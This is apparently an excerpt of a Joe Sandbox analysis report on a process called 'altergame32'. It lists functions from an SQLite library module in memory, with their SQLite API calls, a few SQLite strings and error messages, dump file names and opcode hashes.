Function 6095F004 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 6095F030
sqlite3_value_text.SQLITE3 ref: 6095F03E
sqlite3_stricmp.SQLITE3 ref: 6095F0B3
sqlite3_free.SQLITE3 ref: 6095F180

Part of subcall function 6092E279: strcmp.MSVCRT ref: 6092E2AE
Part of subcall function 6092E279: sqlite3_free.SQLITE3 ref: 6092E3A8

sqlite3_free.SQLITE3 ref: 6095F1BD

Part of subcall function 60901C61: sqlite3_mutex_enter.SQLITE3 ref: 60901C80

sqlite3_result_error_code.SQLITE3 ref: 6095F34E

Strings

|, xrefs: 6095F2F5

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_free$sqlite3_value_text$sqlite3_mutex_entersqlite3_result_error_codesqlite3_stricmpstrcmp
String ID: |
API String ID: 1576672187-2343686810
Opcode ID: bd5e6f80f73383bab87bf36e59bc4c906ea1158fee4d4fada053c93264453b50
Instruction ID: c4017fd8acd983bc841f22cdb0f4132ffe50c361176833da1127552c957ad2bb
Opcode Fuzzy Hash: bd5e6f80f73383bab87bf36e59bc4c906ea1158fee4d4fada053c93264453b50
Instruction Fuzzy Hash: B2B189B4A08308CBDB01CF69C491B9EBBF2BF68358F148968E854AB355D734EC55CB81

Function 6095D3BB Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_snprintf.SQLITE3 ref: 6095D450

Part of subcall function 60917354: sqlite3_vsnprintf.SQLITE3 ref: 60917375

sqlite3_snprintf.SQLITE3 ref: 6095D4A1
sqlite3_snprintf.SQLITE3 ref: 6095D525

Strings

sqlite_master, xrefs: 6095D57F
, xrefs: 6095D410
)><, xrefs: 6095D3ED
sqlite_temp_master, xrefs: 6095D58A

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_snprintf$sqlite3_vsnprintf
String ID: $)><$sqlite_master$sqlite_temp_master
API String ID: 652164897-1572359634
Opcode ID: 8bad6b48079287e07d66e35ebf7d727d8c0cc4a3de3635d3393f65d8d520b325
Instruction ID: a98725bc65f6cff0ffebef66634980575a39ba2d787d432de3c608a01e11e389
Opcode Fuzzy Hash: 8bad6b48079287e07d66e35ebf7d727d8c0cc4a3de3635d3393f65d8d520b325
Instruction Fuzzy Hash: 5991F275E05219CFCB15CF98C48169DBBF2BFA9308F14845AE859AB314DB34ED46CB81

Function 6091B05A Relevance: 12.3, APIs: 8, Instructions: 349COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 6091B06E
sqlite3_result_error_toobig.SQLITE3 ref: 6091B178
sqlite3_result_error_nomem.SQLITE3 ref: 6091B197
sqlite3_result_text.SQLITE3 ref: 6091B5A3

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_result_error_nomemsqlite3_result_error_toobigsqlite3_result_textsqlite3_value_text
String ID:
API String ID: 2352520524-0
Opcode ID: 91a3e282f54c964bbb8224fbc5594699699e4a7ba29507b0b3f6ff953b241f0e
Instruction ID: 99f21b63ad5c9672efebb0dd762c853f70c7e366ddc85f9db9da2d733c13ec0c
Opcode Fuzzy Hash: 91a3e282f54c964bbb8224fbc5594699699e4a7ba29507b0b3f6ff953b241f0e
Instruction Fuzzy Hash: F9E16B71E4C2199BDB208F18C89039EBBF7AB65314F1584DAE8A857351D738DCC19F82

Function 6096A481 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

Part of subcall function 609296D1: sqlite3_value_bytes.SQLITE3 ref: 609296F3
Part of subcall function 609296D1: sqlite3_mprintf.SQLITE3 ref: 60929708
Part of subcall function 609296D1: sqlite3_free.SQLITE3 ref: 6092971B

sqlite3_exec.SQLITE3 ref: 6096A4D7

Part of subcall function 6094CBB8: sqlite3_log.SQLITE3 ref: 6094CBF8

sqlite3_result_text.SQLITE3 ref: 6096A5D3

Part of subcall function 6096A38C: sqlite3_bind_int.SQLITE3 ref: 6096A3DE
Part of subcall function 6096A38C: sqlite3_step.SQLITE3 ref: 6096A435
Part of subcall function 6096A38C: sqlite3_reset.SQLITE3 ref: 6096A445

sqlite3_exec.SQLITE3 ref: 6096A523
sqlite3_exec.SQLITE3 ref: 6096A554
sqlite3_exec.SQLITE3 ref: 6096A57F
sqlite3_result_error_code.SQLITE3 ref: 6096A5E1

Strings

optimize, xrefs: 6096A498

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_exec$sqlite3_bind_intsqlite3_freesqlite3_logsqlite3_mprintfsqlite3_resetsqlite3_result_error_codesqlite3_result_textsqlite3_stepsqlite3_value_bytes
String ID: optimize
API String ID: 3659050757-3797040228
Opcode ID: c770602c58b8b739d860714e2a7cbb539b0686760bc80d510edb2603001de118
Instruction ID: 653702cfcd2f061f0588c77de086fc27204f9fc351fc8b4992cba684a546c14d
Opcode Fuzzy Hash: c770602c58b8b739d860714e2a7cbb539b0686760bc80d510edb2603001de118
Instruction Fuzzy Hash: E831C3B11187119FE310DF24C49570FBBE6ABA1368F10C91DF9968B350E7B9D8459F82

Function 6096544A Relevance: 12.3, APIs: 8, Instructions: 317COMMON

Download Yara Rule

APIs

sqlite3_column_blob.SQLITE3 ref: 609654FB
sqlite3_column_bytes.SQLITE3 ref: 60965510
sqlite3_reset.SQLITE3 ref: 60965556
sqlite3_reset.SQLITE3 ref: 609655B8

Part of subcall function 60941C40: sqlite3_mutex_enter.SQLITE3 ref: 60941C58
Part of subcall function 60941C40: sqlite3_mutex_leave.SQLITE3 ref: 60941CBE

sqlite3_malloc.SQLITE3 ref: 60965655
sqlite3_free.SQLITE3 ref: 60965714
sqlite3_free.SQLITE3 ref: 6096574B

Part of subcall function 60901C61: sqlite3_mutex_enter.SQLITE3 ref: 60901C80

sqlite3_free.SQLITE3 ref: 609657AA

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_free$sqlite3_mutex_entersqlite3_reset$sqlite3_column_blobsqlite3_column_bytessqlite3_mallocsqlite3_mutex_leave
String ID:
API String ID: 2722129401-0
Opcode ID: 718344d9776843f9d3d0f11354c3fb96bdbf3732bae6ebd8df48c35682458f02
Instruction ID: e3a8cc565ee031670952cbbbf81914cbe75110044a29491daaf6513bdc913a85
Opcode Fuzzy Hash: 718344d9776843f9d3d0f11354c3fb96bdbf3732bae6ebd8df48c35682458f02
Instruction Fuzzy Hash: BBD1D270E14219CFEB14CFA9C48469DBBF2BF68304F20856AD899AB346D774E845CF81

Function 609644FC Relevance: 12.2, APIs: 8, Instructions: 204COMMON

Download Yara Rule

APIs

sqlite3_malloc.SQLITE3 ref: 609645D9

Part of subcall function 60928099: sqlite3_malloc.SQLITE3 ref: 609280ED

sqlite3_free.SQLITE3 ref: 609647C5

Part of subcall function 60963D35: memcmp.MSVCRT ref: 60963E74

sqlite3_free.SQLITE3 ref: 6096476B

Part of subcall function 60901C61: sqlite3_mutex_enter.SQLITE3 ref: 60901C80

sqlite3_free.SQLITE3 ref: 6096477B
sqlite3_free.SQLITE3 ref: 60964783

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_free$sqlite3_malloc$memcmpsqlite3_mutex_enter
String ID:
API String ID: 571598680-0
Opcode ID: d604abe0313f10411a0f234c71df8e29ee85eaf68e2bcebad1bf05c151ae1b53
Instruction ID: 53ad94a03898eae12f4127695087571842428d6fdffc19c65fee49adcf86f1ae
Opcode Fuzzy Hash: d604abe0313f10411a0f234c71df8e29ee85eaf68e2bcebad1bf05c151ae1b53
Instruction Fuzzy Hash: 5E91F674E14228CFEB14CFA9D890B9EBBB6BB99304F1085AAD849A7344D734DD81CF51

Function 609634F0 Relevance: 10.6, APIs: 7, Instructions: 95COMMON

Download Yara Rule

APIs

sqlite3_blob_reopen.SQLITE3 ref: 60963510

Part of subcall function 60962F28: sqlite3_log.SQLITE3 ref: 60962F5D

sqlite3_mprintf.SQLITE3 ref: 60963534
sqlite3_blob_open.SQLITE3 ref: 6096358B
sqlite3_blob_bytes.SQLITE3 ref: 609635A3
sqlite3_malloc.SQLITE3 ref: 609635BB
sqlite3_blob_read.SQLITE3 ref: 60963602
sqlite3_free.SQLITE3 ref: 60963621

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_blob_bytessqlite3_blob_opensqlite3_blob_readsqlite3_blob_reopensqlite3_freesqlite3_logsqlite3_mallocsqlite3_mprintf
String ID:
API String ID: 4276469440-0
Opcode ID: 81f80890dbec9a3991ff68d8cfcbb164f6b4d7f09a97d6cb6c54cb11191f3d09
Instruction ID: 177081cd506585250240414a33056f89eeda992db91a315aff795e5fc91eaf1e
Opcode Fuzzy Hash: 81f80890dbec9a3991ff68d8cfcbb164f6b4d7f09a97d6cb6c54cb11191f3d09
Instruction Fuzzy Hash: C641E5B09087059FDB40DF29C48179EBBE6AF98354F01C87AE898DB354E734D841DB92

Function 6091A226 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 6091A240
sqlite3_value_text.SQLITE3 ref: 6091A24E
sqlite3_value_bytes.SQLITE3 ref: 6091A25A
sqlite3_value_text.SQLITE3 ref: 6091A27C

Strings

LIKE or GLOB pattern too complex, xrefs: 6091A267
ESCAPE expression must be a single character, xrefs: 6091A293

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_bytes
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 4080917175-264706735
Opcode ID: e5bda90e0e0ba1860c41bc069fb20e3a267b2c9271c0a370806f06164fd47fa4
Instruction ID: 7e7232241edcba55bc41816b79a09feadaac9d75cc2fb544db44a2248cbef301
Opcode Fuzzy Hash: e5bda90e0e0ba1860c41bc069fb20e3a267b2c9271c0a370806f06164fd47fa4
Instruction Fuzzy Hash: A4214C74A182198BCB00DF79C88165EBBF6FF64354B108AA9E864DB344E734DCC6CB95

Function 609250BB Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

Part of subcall function 6092506E: sqlite3_log.SQLITE3 ref: 609250AB

sqlite3_mutex_enter.SQLITE3 ref: 609250E7
sqlite3_value_text16.SQLITE3 ref: 60925100
sqlite3_value_text16.SQLITE3 ref: 6092512C
sqlite3_mutex_leave.SQLITE3 ref: 6092513E

Strings

library routine called out of sequence, xrefs: 609250D8
out of memory, xrefs: 609250C6, 609250EC

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_logsqlite3_mutex_entersqlite3_mutex_leave
String ID: library routine called out of sequence$out of memory
API String ID: 2019783549-3029887290
Opcode ID: bf8b25fefa583efc99e02b0fe9019e927645d1a19242a42ec125398c6bed8d9e
Instruction ID: f6310061860eb79c45c0a7b6efb00bde58ba827c5a391e7df96a4cb3fbc4cfa9
Opcode Fuzzy Hash: bf8b25fefa583efc99e02b0fe9019e927645d1a19242a42ec125398c6bed8d9e
Instruction Fuzzy Hash: 81014C70A083049BDB14AF69C9C170EBBE6BF64248F0488A9EC958F30EE775D8818B51

Function 60947378 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 292COMMON

Download Yara Rule

APIs

sqlite3_free.SQLITE3(?), ref: 609476DD

Part of subcall function 60904423: sqlite3_mutex_leave.SQLITE3(6090449D,?,?,?,60908270), ref: 60904446

sqlite3_log.SQLITE3 ref: 609498F5

Strings

d, xrefs: 609474ED
List of tree roots: , xrefs: 60947599
|, xrefs: 609499CF

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_freesqlite3_logsqlite3_mutex_leave
String ID: List of tree roots: $d$|
API String ID: 3709608969-1164703836
Opcode ID: 4de08d56d8a6e192ae2dda07a929c8b2a00a3f2e2d212eb9bfb53aebfe2a6bac
Instruction ID: c91562837ba2d96ae21b52ab8334c840e7cbe23d8154f1acff92b465618a0bd4
Opcode Fuzzy Hash: 4de08d56d8a6e192ae2dda07a929c8b2a00a3f2e2d212eb9bfb53aebfe2a6bac
Instruction Fuzzy Hash: 3FE10570A043698BDB22CF18C88179DFBBABF65304F1185D9E858AB251D775DE81CF81

Function 60960052 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 196COMMON

Download Yara Rule

APIs

Part of subcall function 6095FFB2: sqlite3_bind_int64.SQLITE3 ref: 6095FFFA
Part of subcall function 6095FFB2: sqlite3_step.SQLITE3 ref: 60960009
Part of subcall function 6095FFB2: sqlite3_reset.SQLITE3 ref: 60960019
Part of subcall function 6095FFB2: sqlite3_result_error_code.SQLITE3 ref: 60960043

sqlite3_column_int64.SQLITE3 ref: 609600BA
sqlite3_column_text.SQLITE3 ref: 609600EF
sqlite3_free.SQLITE3 ref: 6096029A

Strings

e, xrefs: 60960227

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_bind_int64sqlite3_column_int64sqlite3_column_textsqlite3_freesqlite3_resetsqlite3_result_error_codesqlite3_step
String ID: e
API String ID: 786425071-4024072794
Opcode ID: 373422d03c3c71c2ddc35291c61dfb2213fd8f263c0b9a30c36f02d650250dc2
Instruction ID: e80500568aa73e744b5c90812a7938b6c4ac38b40afb48beb036dafaf3e7d002
Opcode Fuzzy Hash: 373422d03c3c71c2ddc35291c61dfb2213fd8f263c0b9a30c36f02d650250dc2
Instruction Fuzzy Hash: 6291E270A18609CFDB04CF99C494B9EBBF2BF98314F108529E869AB354D774E885CF91

Function 609470DE Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 110COMMON

Download Yara Rule

APIs

sqlite3_exec.SQLITE3 ref: 6094716D

Strings

sqlite_master, xrefs: 609470E7
sqlite_temp_master, xrefs: 609470F1
|, xrefs: 609499CF

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_exec
String ID: sqlite_master$sqlite_temp_master$|
API String ID: 2141490097-2247242311
Opcode ID: 0e32379bf9c90bcee3e658b343db186d73978ee403121efd96d42beb4ff38922
Instruction ID: 9143400cfb6dc20a8edc2ca7c04099347fc9d468871a1d2187ae3123f936d49a
Opcode Fuzzy Hash: 0e32379bf9c90bcee3e658b343db186d73978ee403121efd96d42beb4ff38922
Instruction Fuzzy Hash: C551B6B09083289BDB26CF18C885799BBFABF59304F108599E498A7351D775DA84CF41

Function 6094B137 Relevance: 7.7, APIs: 5, Instructions: 204COMMON

Download Yara Rule

APIs

Part of subcall function 6090A0D5: sqlite3_free.SQLITE3 ref: 6090A118

sqlite3_malloc.SQLITE3 ref: 6094B1D1
sqlite3_value_bytes.SQLITE3 ref: 6094B24C
sqlite3_malloc.SQLITE3 ref: 6094B272
sqlite3_value_blob.SQLITE3 ref: 6094B298
sqlite3_free.SQLITE3 ref: 6094B2C8

Part of subcall function 6094A894: sqlite3_bind_int64.SQLITE3 ref: 6094A8C0
Part of subcall function 6094A894: sqlite3_step.SQLITE3 ref: 6094A8CE
Part of subcall function 6094A894: sqlite3_column_int64.SQLITE3 ref: 6094A8E9
Part of subcall function 6094A894: sqlite3_reset.SQLITE3 ref: 6094A90F

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_freesqlite3_malloc$sqlite3_bind_int64sqlite3_column_int64sqlite3_resetsqlite3_stepsqlite3_value_blobsqlite3_value_bytes
String ID:
API String ID: 683514883-0
Opcode ID: a6abbae8c6e8f2e89577a489a37bdbe998ef9662ada317e1813a59820f6ee2b0
Instruction ID: 83940ce9cf0a2bab7a741171fc95cc3a005d2848f59039768723a80715f2adcb
Opcode Fuzzy Hash: a6abbae8c6e8f2e89577a489a37bdbe998ef9662ada317e1813a59820f6ee2b0
Instruction Fuzzy Hash: E19133B1A052099FCB04CFA9D490B9EBBF6FF68314F108569E855AB341DB34ED81CB91

Function 6093A1DD Relevance: 7.7, APIs: 5, Instructions: 157COMMON

Download Yara Rule

APIs

sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,?,?,6093A8DF), ref: 6093A200
sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,?,?,6093A8DF), ref: 6093A391
sqlite3_mutex_free.SQLITE3(?,?,?,?,?,?,?,?,6093A8DF), ref: 6093A3A3
sqlite3_free.SQLITE3 ref: 6093A3BA
sqlite3_free.SQLITE3 ref: 6093A3C2

Part of subcall function 6093A0C5: sqlite3_mutex_enter.SQLITE3 ref: 6093A114
Part of subcall function 6093A0C5: sqlite3_mutex_free.SQLITE3 ref: 6093A152
Part of subcall function 6093A0C5: sqlite3_mutex_leave.SQLITE3 ref: 6093A162
Part of subcall function 6093A0C5: sqlite3_free.SQLITE3 ref: 6093A1A4
Part of subcall function 6093A0C5: sqlite3_free.SQLITE3 ref: 6093A1C3

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_free$sqlite3_mutex_leave$sqlite3_mutex_free$sqlite3_mutex_enter
String ID:
API String ID: 1903298374-0
Opcode ID: 8530df85f137a660efabd51ca86f4821d2fdcc6d7a3fd2cfb4f5547b241dda56
Instruction ID: f6c450fbbadf2e04ab128defb7df19fdb2a161b4e6cf4e71623f80625393026f
Opcode Fuzzy Hash: 8530df85f137a660efabd51ca86f4821d2fdcc6d7a3fd2cfb4f5547b241dda56
Instruction Fuzzy Hash: EB513870A047218BDB58DF69C8C074AB7A6BF65318F05896CECA69B305D735EC41CF91

Function 6093A0C5 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 60904396: sqlite3_mutex_try.SQLITE3(?,?,?,60908235), ref: 609043B8

sqlite3_mutex_enter.SQLITE3 ref: 6093A114
sqlite3_mutex_free.SQLITE3 ref: 6093A152
sqlite3_mutex_leave.SQLITE3 ref: 6093A162
sqlite3_free.SQLITE3 ref: 6093A1A4
sqlite3_free.SQLITE3 ref: 6093A1C3

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
